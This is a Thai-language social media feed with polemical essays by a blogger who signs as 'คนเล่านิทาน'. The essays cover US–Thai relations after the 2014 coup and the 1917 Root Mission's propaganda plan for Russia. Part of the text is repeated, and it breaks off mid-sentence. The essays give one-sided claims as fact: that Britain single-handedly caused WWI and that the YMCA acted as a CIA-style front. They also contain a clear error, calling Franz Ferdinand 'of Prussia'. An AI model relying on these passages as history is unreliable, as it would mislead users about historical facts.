และที่น่าสนใจ อีกเรื่อง คือ ข่าว ลงวันที่ 13 เมษายน 2015 ของThe Leaderboard ซึ่ง CogitAsia หน่วยงาน ของ CSIS Center for Strategic & International Studies ถังขยะความคิด ซึ่งเป็นเหมือนหน่วยราชการ ของอเมริกา ออกข่าวเกี่ยวกับการที่นายโอบามา เสนอชื่อคนวัดปรอทคนใหม่ของอเมริกา ประจำประเทศไทย โดยระบุว่า ประเทศไทย ซึ่งเคยเป็นพันธมิตร ที่แข็งแรงที่สุด ของอเมริกาในภูมิภาคนี้ แต่หลังจากการปฏิวัติของไทย เมื่อปี 2014 ความสัมพันธ์ของอเมริกากับไทย ก็สั่นคลอน ในฐานะนักการทูตมืออาชีพ นาย Davies จึงเป็นที่คาดหวังว่า เขาจะใช้ความรู้เกี่ยวกับวิกฤติทางการทูต ให้เป็นประโยชน์สำหรับสถานะการณ์ทางการเมืองของที่ยังมองอะไรไม่ชัดเจน…. ทั้งหมดนี้ แปลว่าอะไรครับ แปลว่า อเมริกาปล่อยให้สมันน้อย หลุดมือไม่ได้เด็ดขาด รู้ว่า ยายกุ้งแห้งเซลฟี่ จะหมดเทอม อเมริกาก็ยังไม่หาใครมาแทน ทิ้งช่วงอยู่กว่า 6 เดือน เพื่อรอดูว่า การเมืองสมันน้อยจะไปทางไหนแน่ หลังจากมีการปฏิวัติ อเมริการอจนชัดเจนว่า สมันน้อยเริ่มมองโลกกว้าง ออกคบเพื่อนมากขึ้น รูปนายกแก้มยุ้ยของไทย จับมือ ยิ้มหวานกับอาเฮีย ก็ทำให้อเมริกาคิดหนักแล้ว แต่เมื่อนายกแก้มยุ้ย ชวนนายกหน้าเฉย จากรัสเซียดมดอกไม้นี่ อเมริกาคงตัดสินใจได้ ว่าควรจะรีบส่งคนวัดปรอท แบบผู้ชำนาญด้านยุทธศาสตร์ มาประจำการได้แล้ว แต่ถ้าอเมริกาคิดจะใช้ยุทธศาสตร์แบบเดิมๆ บีบคอสมันน้อย ให้ยืนนิ่งอยู่ในคอก แล้วสั่งซ้ายหัน ขวาหัน เหมือนอย่างเดิมน่าจะเป็นไปได้ยาก อเมริกายังยืนเซ่ออยู่กลางสี่แยกจริงๆ ยังอ่านไม่ออกว่า การเมืองของสมันน้อยหลังการปฏิวัติ และจากนี้ไป จะไปทางไหน ส่งพวกปากเสียมาเสือกหลายรอบ ต้ังแต่สมันน้อยปฏิวัติ แทนที่จะได้ผล ทำท่าจะเสียทั้งผลทั้งต้น เสียทั้งต้น นี่เรื่องใหญ่ อเมริการับไม่ได้หรอก ทางออกตอนนี้ ของนักล่าปีกเหี่ยวใบตองแห้ง จึงต้องส่งคนวัดปรอท ชนิดผู้ชำนาญการ มาทำการวัดปรอท ทุกตารางนิ้วในแดนสมันน้อยใหม่หมด และดูจากประสพการณ์ และการข่าว คนวัดปรอท คนใหม่นี้ น่าจะไม่ใช่แค่มายืนๆ เดินๆ แล้วเอาปรอทแหย่ปากสมันน้อย คนวัดปรอทอาจจะมีวิธี ทำให้ปรอทร้อน ถึงร้อนจัด หรือเย็นจัดในบางสถานที่ บางกลุ่มด้วย เราจึงต้องจับตาดูคนวัดปรอทคนใหม่นี้ให้ดี เรากำลังมุ่งหน้าที่จะออกมาจากคอก สู่การเป็นอิสระชนแล้ว ก็เดินอย่างสง่าผ่าเผย รักษาอธิปไตย และความเป็นกลางของประเทศให้ดี เมื่อรัฐบาลเลือกเดินนโยบายที่จะไม่ให้ใครมาจูงจมูก เราประชาชนก็สมควรสนับสนุน ไม่ใช่คิดแต่จะคบเพื่อน แค่คนใดคนหนึ่ง โดยเฉพาะด้วยแค่ความคุ้นเคย แถมให้มันบีบซ้ายกระตุกขวาได้อยู่เรื่อยๆ เราไม่ได้เป็นเมืองขึ้นใคร จะคบเพื่อนกี่คนก็ขึ้นอยู่กับความต้องการของเรา ขอให้เพื่อนรู้จักเคารพ และเห็นคุณค่าของความเป็นเพื่อนกัน เรื่องในบ้านเพื่อนก็ให้เกียรติกันบ้าง อย่าเสือกทุกเรื่อง ยิ่งบางเรื่อง ไม่บังควร ผ่านมา 60 ปี ยังไม่เรียนรู้ จะเป็นเพื่อนกันต่อไปทำไม อย่านึกว่าสมันน้อยโง่หมด สีที่ฟอกย้อมไว้ มันถลอกลอกไปแยะแล้ว เพราะพฤติกรรมความเสือก ความตะกระ ความกร่าง ความเจ้าเล่ห์ ของอเมริกาเองนั่นแหละ จะมาเดินวัดปรอทกันใหม่ ก็หัดเรียนรู้ใหม่ ไอ้พวกที่ชอบมาอ่านเพจผม แล้วรวนเครื่องผม อย่ารวนเปล่า นายใหม่จะมาแล้ว แปลไว้ให้อ่านเลย จะได้ประหยัดเวลามาวัดปรอทแถวนี้ สวัสดีครับ คนเล่านิทาน 15 เม.ย. 2558
    0 Comments 0 Shares 93 Views 0 Reviews
  • เรื่อง สันดาน
    “สันดาน”

    (1)

    ผมหายไปจากหน้าจอหลายวันมาก เพราะขี้เกียจดูข่าวและเขียนถึงไอ้นักล่าตอนนี้ บทมันซ้ำจนน่าเบื่อ แถมสะอิดสะเอียน เวลาดูมันพูด เล่นบทเป็นวีรบุรุษ ผู้เสียสละ จำเป็นต้องรักษาสันติสุขของมนุษยชาติ ฯลฯ ขืนดูต่อ ยาแก้คลื่นไส้ก็เอาไม่อยู่ ผมเลยไปค้นหาหนังสือเก่าๆมาอ่านประเทืองปัญญา ดีกว่าดูไอ้นักล่าตอแหล

    ปรากฏว่า อาการผมหนักกว่าคลื่นไส้!

    ผมไปเจอเอกสารเก่า เกือบ 100 ปี “The American and Russian Missions” ปี ค.ศ.1917 เป็นเอกสารของกระทรวงการต่างประเทศ อเมริกัน ที่เรียกว่า Foreign Relations of the United States (FRUS) ทนไม่ไหว ต้องเอามาเล่าสู่กันฟัง ถ้าไม่บอกว่า คนเขียนเอกสาร เขียนเมื่อไหร่ ท่านผู้อ่านอาจนึกว่าเป็นเรื่องในสมัยปัจจุบัน ผ่านมาเกือบ 100 ปี มันก็ยังใช้วิธีเดิมๆ ตามสันดาน…

    ปี ค.ศ.1917 ตามวิชาประวัติศาสตร์สากล สมัยที่ผมยังเรียนหนังสืออยู่ชั้นมัธยม เขาบอกว่า มีการปฏิวัติเกิดขึ้นในรัสเซีย คือการปฏิวัติอันโด่งดังของพวกบอลเชวิก (Bolsheviks) ที่โค่นพระเจ้าซาร์นิโคลัส ที่ 2 นั่นแหละ

    แต่ความจริง ในปี ค.ศ.1917 รัสเซีย มีการปฏิวัติ 2 ครั้ง ครั้งแรก ในเดือนมีนาคม ผู้นำการปฏิวัติ คือ นาย Aleksandr Kerensky ซึ่งยึดอำนาจจากพระเจ้าซาร์ ทำให้พระเจ้าซาร์ประกาศสละบัลลังก์ แต่ต่อมาพวกปฏิวัติก็จับท่านและราชวงค์ไปกักขัง ส่วนพวก Bolsheviks มาทำการปฏิวัติซ้ำในพฤศจิกายน ค.ศ.1917 ไล่คณะ นาย Kerensky ออกไป แล้วพวก Bolsheviks ก็ปกครองรัสเซียต่อ

    ในตอนที่ นาย Kerensky ทำการปฏิวัตินั้น สงครามโลกครั้งที่ 1 ที่เริ่มขึ้นตั้งแต่ ปี ค.ศ.1914 กำลังโซ้ยกันอย่างดุเดือด สงครามโลกครั้งที่ 1 นี้ ความจริงเริ่มมาจากชาวเกาะใหญ่ เท่าปลายนิ้วก้อยของเท้าซ้าย เป็นฝ่ายกระสัน อยากจะทำสงครามนะครับ เพราะอังกฤษหมั่นไส้ ปนปอดแหกว่า เยอรมันกำลังจะโตใหญ่เกินหน้า ส่วนเรื่องอาชดยุกค์เฟอร์ดินานด์ แห่งปรัสเซียถูกยิง นั่นมันสาเหตุของสงครามโลก ตามประวัติศาสตร์หลักสูตรกระทรวงศึกษาฯ ลองไปหาประวัติศาสตร์นอกหลักสูตรมาอ่านกันบ้าง จะได้เห็นโลกกว้าง และลึกขึ้น

    ประมาณปี คศ 1899 เยอรมันส้มหล่นใส่ ไปได้สัมปทานจากออตโตมาน ให้สร้างทางรถไฟสาย Berlin Bagdad ยาวประมาณ 2,500 ไมล์ ภาพรางรถไฟวิ่งยาวจาก Berlin ผ่านไปกลางตะวันออกกลาง ที่เต็มไปด้วยแหล่งน้ำมันไปจนถึง Bagdad เลยไปอีกหน่อย ก็ถึงอ่าวเปอร์เซีย ที่อังกฤษตีตั๋วจองไว้ ภาพนี้มันทำให้ชาวเกาะใหญ่ฯนอนฝันร้าย ที่นอนเปียกชุ่มทุกคืน ตั้งแต่รู้ข่าว ชาวเกาะฯทนไม่ไหว ลุกขึ้นมาวางแผนเตะตัดขาเยอรมัน ด้วยการไปชวนพรรคพวกมาร่วมรายการถล่มนักสร้างราง แต่ถ้ามีแค่พวกขาประจำอย่างฝรั่งเศส อืตาลีร่วม ชาวเกาะไม่แน่ใจว่า จะถีบนักสร้างรางให้ตกรางได้ ชาวเกาะเลยไปหลอกรัสเซีย ถึงจะอยู่ใกลหน่อย แต่ข่าวว่ากองทัพอึด ให้มาร่วมรายการถล่มนักสร้างรางด้วยกัน (รายละเอียดอยู่ในนิทาน เรื่อง “ลูกครึ่ง หรือนก 2 หัว” และ นิทานชุด “เหยื่อ”)

    รัสเซีย จริงๆไม่มีเรื่องชังหน้ากับเยอรมันซักหน่อย แต่พออังกฤษเอาของขวัญมาล่อว่า ถ้าถีบมันตกรางได้ เอาไปเลย อาณาจักรออโตมาน เรายกให้ท่าน ไม่รู้รัสเซียกำลังมึนอะไร เดินหล่นพลั่กลงหลุม ที่ชาวเกาะขุดล่อ ออโตมานก็ไม่ใช่ของชาวเกาะใหญ่ฯ ซะหน่อย เขาเอาของคนอื่นมาล่อ ไปตกลงกับเขาได้ยังไง เนี่ย เหมือนเวลาคนดวงไม่ดี มีดาวประเภท เสาร์ ราหู ทับลัคน์อะไรทำนองนั้น เวลาดาวแรงอย่างนี้ทับลัคน์ อย่าไปเชื่ออะไรใครเขาง่ายๆนะครับ
    เมื่อ นาย Kerensky ทำปฏิวัติรัสเซีย สงครามเล่นไปแล้ว 3 ปี แต่ยังไม่มีทีท่าว่าจะเลิก คนจัดรายการ ออกตั๋วเสริมมาขายเพิ่มอยู่เรื่อย แม้บ้านช่องจะพังพินาศฉิบหายกันเป็นแถบๆ แต่ชาวเกาะก็บอกให้สู้ต่อ ก็บทมันเขียนไว้อย่างนั้น ทีนี้ รัสเซียแนวร่วม ดันมีปฏิวัติ รัฐบาลใหม่จะเล่นสงครามต่อหรือ เปล่า ชาวเกาะชักเหงื่อแตก อเมริกาเด็กเรา (ตอนนั้น ไอ้นักล่ายังเป็นเด็ก อยู่ในอาณัติของอังกฤษ เรื่องมัน 100 ปีมาแล้วนะครับ แต่ผมก็ไม่แน่ใจ ตอนนี้ ถึงไม่ใช่เด็กแล้ว แต่ก็อาจจะยังอยู่ ในอาณัติกันเหมือนเดิม) ก็ดันประกาศอยู่นั่นว่า เราเป็นกลาง (ยัง) ไม่เข้ามาช่วยรบ จำเราต้องใช้มันไปสืบความว่า รัสเซียหลังปฏิวัตินี่ จะสู้ต่อ หรือจะฝ่อหนี

    ประธานาธิบดี Woodlow Wilson ไม้หลักปักเลน จึงจัดคณะละครเร่ ไปเจริญสัมพันธไมตรี ชื่อ The Roots Mission ให้ไปดูลาดเลารัสเซีย หลังปฏิวัติครั้งแรก ว่าหน้าตาเป็นยังไง หล่อเหลา หรือเหลาเหย่ คณะละครเร่เจริญสัมพันธไมตรีที่นำโดย นาย Elihu Roots ซึ่งมีตำแหน่งเป็นอดีตทูต อดีตรัฐมนตรี อดีตอะไรเยอะแยะไปหมด ไปเปิดดูกูเกิลเอาแล้วกันนะครับ น่าเชื่อถือดี แต่คราวนี้ดูเหมือนจะไปทำหน้าที่เล่นละคร และทำหน้าที่นักสืบมากกว่า

    คณะนาย Roots มีด้วยกันกว่าสิบคน มีทั้ง นักการทูต นักธุรกิจ วิศวกร นักหนังสือพิมพ์ นักกิจกรรมสังคม (YMCA) นายทหารบก นายทหารเรือ เบิ้มๆทั้งนั้น มันเป็นคณะที่ต้องไปแสดงละครจริงๆ พวกเขาไปถึง เมือง Petrograd ของรัสเซีย เดือนพฤษภาคม 1917 ใช้เวลาเจริญสัมพันธไมตรีกับคณะปฏิวัติ Kerensky ประมาณ 4 เดือน ไปมันทั่วรัสเซียอันกว้างใหญ่ไพศาล ไปจนถึงไซบีเรียโน่น ต้องยอมรับว่า คณะนี้เขาเล่นละครเก่ง

    คงสงสัยกัน พวก YMCA ( Young Men’s Christain Association) นี่คณะละคร เอาไปทำอะไร ในสมัยนั้น (และสมัยนี้ ?!) เขาใช้ YMCA ทำหน้าที่เหมือน CIA ในคราบทูตวัฒนธรรม ใช้ศาสนา การกีฬา การบรรเทิง บังหน้า เข้าไปคลุกคลี กับชาวบ้าน ชาวเมือง และนักเรียนนักศึกษา มีทั้ง YMCA และ YWCA ของฝ่ายหญิง การจะเอาเจ้าหน้าที่ หน่วยงานราชการทหาร ไปคลุกกับชาวบ้านนี่ บางทีไม่ได้ผล ชาวบ้านไม่เปิดใจ ก็ใช้กิจกรรมนำโดยกลุ่มแบบนี้ สมัยนี้ ก็คงไม่ใช้ YMCA แล้ว เขามาในรูปแบบของกลุ่มอะไร ลองเดาดู

    (2)

    เดือนสิงหาคม คณะละครเร่ แสดงเสร็จ ก็ทำรายงานยาวเหยียด ส่งให้รัฐมนตรีกระทรวงต่างประเทศ นาย Robert Lansing พิจารณา
    ผมจะขอยกมาเฉพาะบางส่วน ที่น่าสนใจ แต่จะเอาฉบับเต็มลงให้อ่านกันด้วย เผื่อท่านใดอยากจะตั้งคณะละคร จะได้ใช้เป็นตัวอย่าง

    คณะละครได้ไปพบทั้งพวกทำปฏิวัติ ทหารฝ่ายเก่า ฝ่ายใหม่ ชาวบ้าน ชาววัด ครู นักเรียน พ่อค้า นักธุรกิจ สายลับ ฯลฯ พบมันหมด ไปคุย ไปถาม ไปเสือก ก็เหมือนที่ไอ้บ้าอะไรที่เพิ่ง มาเสือกที่บ้านเรา เมื่อต้นเดือนนี้ละครับ มันคงมาจากคณะละครเดียวกัน รูปแบบ การเจรจา ถึงได้ทำนองเดียวกัน เล่นกันแบบนี้มา 100 ปีแล้ว ยังไม่เลิก

    ข้อสรุปที่คณะละคร ได้จากการสำรวจ คือ ชาวรัสเซีย ถอดใจไม่อยากเล่นสงครามแล้ว ขนมปังก็จะไม่มีกิน บ้านก็พัง จนแทบไม่เหลือที่ให้ซุกหัว จะไปรบทำไมอีก คณะละครอ้างว่า เพราะฝ่ายเยอรมันขนสายลับเข้ามา เต็มเมืองรัสเซีย มากรอกหูชาวรัสเซีย และทหารรัสเซียว่า จะไปรบทำไม คนอยากรบน่ะ คือพระเจ้าซาร์ ตอนนี้ท่านก็ไปแล้ว พี่น้องก็ไม่ต้องไปรบแล้ว กลับบ้านไปทำไร่ทำนาต่อแล้วกัน

    ฝ่ายคณะละครได้ยินเข้าก็ลมแทบใส่ นี่ใกล้จะถึงคิวเราเข้าฉากไปรบต่อ ถ้าไม่มีรัสเซียอยู่แถวหน้าตายก่อน พวกเราก็ ฉ. ห. ละซิ เพราะฉนั้น สิ่งที่ฝ่ายเราต้องทำด่วน (ที่เปิดเผยได้) มี 2 เรื่อง

    เรื่องที่ 1 เราต้องเอาทีมอเมริกัน เข้ามาดูแลเรื่องถนนหนทาง รางรถไฟ ในรัสเซีย เพราะขณะนี้ อาวุธยุทธภัณท์ ที่ฝ่ายเราขนมาให้ ยังกองค้างอยูที่เมืองท่า Vladivostok ประมาณ 700,000 ตัน จะขนผ่านข้ามไป Moscow ยังไม่ได้ เพราะทั้งถนน ทั้งทางรถไฟ รับน้ำหนักไม่ไหว แล้วเมื่อเราจะเข้าทำสงคราม ของมันจะต้องขนมาอีกมากมาย เราจะทำยังไง ต้องแก้ไขเรื่องนี้ด่วนจี๋

    อืม คณะละครนี่ ไม่ใช่ย่อย ไม่ใช่มารำเฉิบๆ อย่างเดียว เขาไปสำรวจหมด ระยะทางรถไฟจาก Vladivostok ถึง Moscow น่ะ ประมาณ 5 ถึง 6,000 ไมล์ เชียวนะ รำไป สำรวจไปนี่ไม่ใช่งานเล็กๆ

    แล้วจำกันได้ไหมครับ เมื่อเขาจะรบกับเวียตนาม เขาใช้บ้านเราเป็นฐานทัพ แต่ก่อนจะยกโขยงกองทัพกันเข้ามา เขาส่งคณะละครเร่แบบนี้ มาสำรวจบ้านเราไม่รู้กี่คณะ สำรวจอะไรไปบ้างก็ไม่รู้ แล้วเขาก็สร้างถนน จากสระบุรี กว้างขวางยาวเรียบไปถึงโคราช ให้เราชาวบ้านดีใจ แหม อเมริกาใจดีจัง ถนนเลยมีชื่อว่า มิตรภาพ เปล่าหรอกครับ เขาเตรียมไว้ขนส่ง อาวุธ ยุทธภัณท์ ที่เขาจะขนมาทางเรือ แต่กลัวมากองเป็นภูเขา อยู่แถวท่าเรือคลองเตย แบบ Vladivostock! มันก็เลย ต้องสร้างถนน สร้างสนามบิน ให้ประเทศไทย ฯลฯ (รายละเอียดมีอยู่ในนิทานเรื่อง “จิกโก๋ปากซอย” ถ้าอยากอ่านประวัติศาสตร์ นอกหลักสูตร กระทรวงศึกษาฯ)

    เรื่องที่ 2 ที่คณะละคร บอกสำคัญอย่างยิ่ง คือ เราต้องย้อมความคิค ย้อมสมองคนรัสเซียให้ “อยากทำสงคราม” ไม่ให้เชื่อฟังเยอรมัน อเมริกาจะทำได้อย่างไร รัสเซียไม่ใช่สมันน้อยนะ คณะละครบอกไม่มีปัญหา คนรัสเซีย ก็เหมือนเด็ก ที่ตัวโตนั่นแหละ
    เอ้า เจ้าหน้าที่รัสเซียที่ตามอ่านนิทาน ช่วยขีดเส้นใต้ 2 เส้น แล้วรายงานส่งคุณพี่ปูตินของผมด้วยนะครับ ว่าอเมริกาพูดแบบนี้ แปลว่าเห็นคนรัสเซียเป็นยังไง (เสี้ยม ซะหน่อย)

    คณะละครเร่ เขียนแผนการฟอกย้อมให้เสร็จ เขาระบุว่า เป้าหมายของแผนคือ:

    “To influence the attitude of the people of Russia for the prosecution of war as the only way of perpetuating their democracy ”

    ใครแปลเก่งๆ ลองแปลดูครับ

    สำหรับผม ผมเข้าใจความว่า เพื่อเป็นการย้อมความคิดของคนรัสเซีย ให้เชื่อว่า การเข้าทำสงคราม เป็นทางเดียวที่จะทำให้ประชาธิปไตยของเขาอยู่อย่างยั่งยืน

    ผมเขียนปูพื้น เล่ามาเสียยืดยาว เพื่อจะให้อ่านประโยคนี้กัน อ่านแล้วโปรดพิเคราะห์กันให้ดีๆ จะได้เห็น “สันดาน” อันอำมหิต ของอเมริกา (และของอังกฤษ) ที่ผ่านมาแล้วเกือบ 100 ปี แล้วก็ยังไม่เปลี่ยน และอีกกี่ร้อยปี ก็คงไม่มีวันเปลี่ยนความอำมหิต นี้ โดยใช้ความตอแหล แบบหน้าด้านๆ อ้างเรื่องประชาธิปไตย แบบตะหวักตะบวย เพื่อประโยชน์ของมัน หรือพวกมันเท่านั้น ใครจะเจ็บ ใครจะตาย ใครจะฉิบหาย ใครจะวิบัติ ขนาดไหน มันไม่สนใจ เลวถึงขนาดนี้ อำมหิต อย่างนี้ ยังมีคนอยากให้อเมริกา ครอบหัวสี่เหลี่ยมต่อไปอีกหรือครับ

    แผนการฟอกย้อม จะใช้วิธีหลักๆ อยู่ 5 อย่าง

    1. จัดกระบวนการ “สร้าง และย้อมข่าว” แล้วกระจายข่าว ที่สร้างและย้อมแล้ว ไปทั่วรัสเซีย โดยจะเอาทีมงานมาจากอเมริกา ทั้งด้านการเขียน และการแปล

    คือเอาช่างชำนาญการย้อมของอเมริกา มาตั้งโรงงานที่รัสเซีย เหมือนที่มีอยู่เกลื่อนในบ้านสมันน้อย ซื้อมันทุกช่อง ครอบมันทุกฉบับ

    2. การใช้เอกสารประเภทแผ่นพับ และใบปลิว เพื่อง่ายแก่การเสพข่าว
    สมัยนี้ก็คงเปลี่ยนเป็น เครื่องมือ ไอ้ป๊อด ไอ้แป้ด ไอ้โฟน โดยเฉพาะ พวกเล่นไลน์นี่เหยื่อชั้นดี ส่งข่าวย้อมอะไรเข้าไปแพลบเดียว กระจายทั่ว เรื่องโกหกทั้งนั้น เสพกันได้แยะและเร็วกว่า

    3. สร้างหนังประเภทต่างๆ เพื่อให้ชาวรัสเซียเสพ เช่น หนังเกี่ยวกับสงคราม หนังชีวิตคนอเมริกันในชนบท ในเมือง หนังเกี่ยวกับการทำอุตสาหกรรม การค้า หนังตลก และที่สำคัญ หนังที่แสดงถึงความรักชาติและการแสวงหาประชาธิปไตย

    ฮอลลีวู้ดรับไป เดี๋ยวนี้ก็ยังเป็นโรงย้อมที่สำคัญหมายเลขหนึ่ง

    4. การโฆษณา ประชาสัมพันธ์ โดยเฉพาะทำเป็นแผ่นโปสเตอร์สีสวยสดุดตา สื่อหัวข้อที่เหมาะสมกับรัสเซีย โดยให้สำนักงานประชาสัมพันธ์ ฝีมือเยี่ยมของอเมริกา

    รู้ไหมครับ พวกประชาสัมพันธ์เก่งๆ เขาย้อมโลกใบนี้มานานเท่าไหร่แล้ว เขาเอาอะไรมาใส่หัวสมันน้อยบ้าง

    5. วิธีการที่แนบเนียนและใช้แพร่หลาย คือการพูด ซึ่งจำเป็นต้องใช้ นักพูด นักประชาสัมพันธ์ และครู เป็นจำนวนมาก โดยอเมริกาอาจจะเลือกอย่างเหมาะสม จากชาวรัสเซียก็ได้ นักพูดและครูนี้ ถือว่าเป็นเครื่องมือย้อมที่เยี่ยมที่สุด

    วิธีการนี้ บ้านสมันน้อยใช้แยะมาก ยิ่งตอนนี้ซึ่งเป็นช่วงสำคัญของบ้านเมือง ช่างย้อมถูกจ้างมาทำหน้าที่เพิ่มขึ้นอีกมาก มาในสาระพัดคราบ หัดสังเกตกันบ้าง ใครของจริง ใครของปลอม ใครช่างย้อมฝีมือเนียน

    เป็นไงครับ 5 วิธีการหลัก ยังอยู่ครบในศตวรรษนี้ แค่เปลี่ยน เสื้อผ้า หน้าผม ถ้อยคำ ท่าทาง ให้เข้ากับสมัย ละครฉากเดิมๆก็ยังใช้ได้ เครื่องมือย้อมก็ยังใช้อยู่ แค่เปลี่ยนรุ่นใหม่ไปเรื่อยๆ เท่านั้น นี่ตกลงเราจะให้เขาเล่นแบบนี้ ไปเรื่อยๆ อีก 100 ปีหรือไงครับ

    สวัสดีครับ
    คนเล่านิทาน
    26 กพ. 2558

    ####################
    เอกสารประกอบ
    FRUS
    https://www.dropbox.com/s/
    เรื่อง สันดาน “สันดาน” (1) ผมหายไปจากหน้าจอหลายวันมาก เพราะขี้เกียจดูข่าวและเขียนถึงไอ้นักล่าตอนนี้ บทมันซ้ำจนน่าเบื่อ แถมสะอิดสะเอียน เวลาดูมันพูด เล่นบทเป็นวีรบุรุษ ผู้เสียสละ จำเป็นต้องรักษาสันติสุขของมนุษยชาติ ฯลฯ ขืนดูต่อ ยาแก้คลื่นไส้ก็เอาไม่อยู่ ผมเลยไปค้นหาหนังสือเก่าๆมาอ่านประเทืองปัญญา ดีกว่าดูไอ้นักล่าตอแหล ปรากฏว่า อาการผมหนักกว่าคลื่นไส้! ผมไปเจอเอกสารเก่า เกือบ 100 ปี “The American and Russian Missions” ปี ค.ศ.1917 เป็นเอกสารของกระทรวงการต่างประเทศ อเมริกัน ที่เรียกว่า Foreign Relations of the United States (FRUS) ทนไม่ไหว ต้องเอามาเล่าสู่กันฟัง ถ้าไม่บอกว่า คนเขียนเอกสาร เขียนเมื่อไหร่ ท่านผู้อ่านอาจนึกว่าเป็นเรื่องในสมัยปัจจุบัน ผ่านมาเกือบ 100 ปี มันก็ยังใช้วิธีเดิมๆ ตามสันดาน… ปี ค.ศ.1917 ตามวิชาประวัติศาสตร์สากล สมัยที่ผมยังเรียนหนังสืออยู่ชั้นมัธยม เขาบอกว่า มีการปฏิวัติเกิดขึ้นในรัสเซีย คือการปฏิวัติอันโด่งดังของพวกบอลเชวิก (Bolsheviks) ที่โค่นพระเจ้าซาร์นิโคลัส ที่ 2 นั่นแหละ แต่ความจริง ในปี ค.ศ.1917 รัสเซีย มีการปฏิวัติ 2 ครั้ง ครั้งแรก ในเดือนมีนาคม ผู้นำการปฏิวัติ คือ นาย Aleksandr Kerensky ซึ่งยึดอำนาจจากพระเจ้าซาร์ ทำให้พระเจ้าซาร์ประกาศสละบัลลังก์ แต่ต่อมาพวกปฏิวัติก็จับท่านและราชวงค์ไปกักขัง ส่วนพวก Bolsheviks มาทำการปฏิวัติซ้ำในพฤศจิกายน ค.ศ.1917 ไล่คณะ นาย Kerensky ออกไป แล้วพวก Bolsheviks ก็ปกครองรัสเซียต่อ ในตอนที่ นาย Kerensky ทำการปฏิวัตินั้น สงครามโลกครั้งที่ 1 ที่เริ่มขึ้นตั้งแต่ ปี ค.ศ.1914 กำลังโซ้ยกันอย่างดุเดือด สงครามโลกครั้งที่ 1 นี้ ความจริงเริ่มมาจากชาวเกาะใหญ่ เท่าปลายนิ้วก้อยของเท้าซ้าย เป็นฝ่ายกระสัน อยากจะทำสงครามนะครับ เพราะอังกฤษหมั่นไส้ ปนปอดแหกว่า เยอรมันกำลังจะโตใหญ่เกินหน้า ส่วนเรื่องอาชดยุกค์เฟอร์ดินานด์ แห่งปรัสเซียถูกยิง นั่นมันสาเหตุของสงครามโลก ตามประวัติศาสตร์หลักสูตรกระทรวงศึกษาฯ ลองไปหาประวัติศาสตร์นอกหลักสูตรมาอ่านกันบ้าง จะได้เห็นโลกกว้าง และลึกขึ้น ประมาณปี คศ 1899 เยอรมันส้มหล่นใส่ ไปได้สัมปทานจากออตโตมาน ให้สร้างทางรถไฟสาย Berlin Bagdad ยาวประมาณ 2,500 ไมล์ ภาพรางรถไฟวิ่งยาวจาก Berlin ผ่านไปกลางตะวันออกกลาง ที่เต็มไปด้วยแหล่งน้ำมันไปจนถึง Bagdad เลยไปอีกหน่อย ก็ถึงอ่าวเปอร์เซีย ที่อังกฤษตีตั๋วจองไว้ ภาพนี้มันทำให้ชาวเกาะใหญ่ฯนอนฝันร้าย ที่นอนเปียกชุ่มทุกคืน ตั้งแต่รู้ข่าว ชาวเกาะฯทนไม่ไหว ลุกขึ้นมาวางแผนเตะตัดขาเยอรมัน ด้วยการไปชวนพรรคพวกมาร่วมรายการถล่มนักสร้างราง แต่ถ้ามีแค่พวกขาประจำอย่างฝรั่งเศส อืตาลีร่วม ชาวเกาะไม่แน่ใจว่า จะถีบนักสร้างรางให้ตกรางได้ ชาวเกาะเลยไปหลอกรัสเซีย ถึงจะอยู่ใกลหน่อย แต่ข่าวว่ากองทัพอึด ให้มาร่วมรายการถล่มนักสร้างรางด้วยกัน (รายละเอียดอยู่ในนิทาน เรื่อง “ลูกครึ่ง หรือนก 2 หัว” และ นิทานชุด “เหยื่อ”) รัสเซีย จริงๆไม่มีเรื่องชังหน้ากับเยอรมันซักหน่อย แต่พออังกฤษเอาของขวัญมาล่อว่า ถ้าถีบมันตกรางได้ เอาไปเลย อาณาจักรออโตมาน เรายกให้ท่าน ไม่รู้รัสเซียกำลังมึนอะไร เดินหล่นพลั่กลงหลุม ที่ชาวเกาะขุดล่อ ออโตมานก็ไม่ใช่ของชาวเกาะใหญ่ฯ ซะหน่อย เขาเอาของคนอื่นมาล่อ ไปตกลงกับเขาได้ยังไง เนี่ย เหมือนเวลาคนดวงไม่ดี มีดาวประเภท เสาร์ ราหู ทับลัคน์อะไรทำนองนั้น เวลาดาวแรงอย่างนี้ทับลัคน์ อย่าไปเชื่ออะไรใครเขาง่ายๆนะครับ เมื่อ นาย Kerensky ทำปฏิวัติรัสเซีย สงครามเล่นไปแล้ว 3 ปี แต่ยังไม่มีทีท่าว่าจะเลิก คนจัดรายการ ออกตั๋วเสริมมาขายเพิ่มอยู่เรื่อย แม้บ้านช่องจะพังพินาศฉิบหายกันเป็นแถบๆ แต่ชาวเกาะก็บอกให้สู้ต่อ ก็บทมันเขียนไว้อย่างนั้น ทีนี้ รัสเซียแนวร่วม ดันมีปฏิวัติ รัฐบาลใหม่จะเล่นสงครามต่อหรือ เปล่า ชาวเกาะชักเหงื่อแตก อเมริกาเด็กเรา (ตอนนั้น ไอ้นักล่ายังเป็นเด็ก อยู่ในอาณัติของอังกฤษ เรื่องมัน 100 ปีมาแล้วนะครับ แต่ผมก็ไม่แน่ใจ ตอนนี้ ถึงไม่ใช่เด็กแล้ว แต่ก็อาจจะยังอยู่ ในอาณัติกันเหมือนเดิม) ก็ดันประกาศอยู่นั่นว่า เราเป็นกลาง (ยัง) ไม่เข้ามาช่วยรบ จำเราต้องใช้มันไปสืบความว่า รัสเซียหลังปฏิวัตินี่ จะสู้ต่อ หรือจะฝ่อหนี ประธานาธิบดี Woodlow Wilson ไม้หลักปักเลน จึงจัดคณะละครเร่ ไปเจริญสัมพันธไมตรี ชื่อ The Roots Mission ให้ไปดูลาดเลารัสเซีย หลังปฏิวัติครั้งแรก ว่าหน้าตาเป็นยังไง หล่อเหลา หรือเหลาเหย่ คณะละครเร่เจริญสัมพันธไมตรีที่นำโดย นาย Elihu Roots ซึ่งมีตำแหน่งเป็นอดีตทูต อดีตรัฐมนตรี อดีตอะไรเยอะแยะไปหมด ไปเปิดดูกูเกิลเอาแล้วกันนะครับ น่าเชื่อถือดี แต่คราวนี้ดูเหมือนจะไปทำหน้าที่เล่นละคร และทำหน้าที่นักสืบมากกว่า คณะนาย Roots มีด้วยกันกว่าสิบคน มีทั้ง นักการทูต นักธุรกิจ วิศวกร นักหนังสือพิมพ์ นักกิจกรรมสังคม (YMCA) นายทหารบก นายทหารเรือ เบิ้มๆทั้งนั้น มันเป็นคณะที่ต้องไปแสดงละครจริงๆ พวกเขาไปถึง เมือง Petrograd ของรัสเซีย 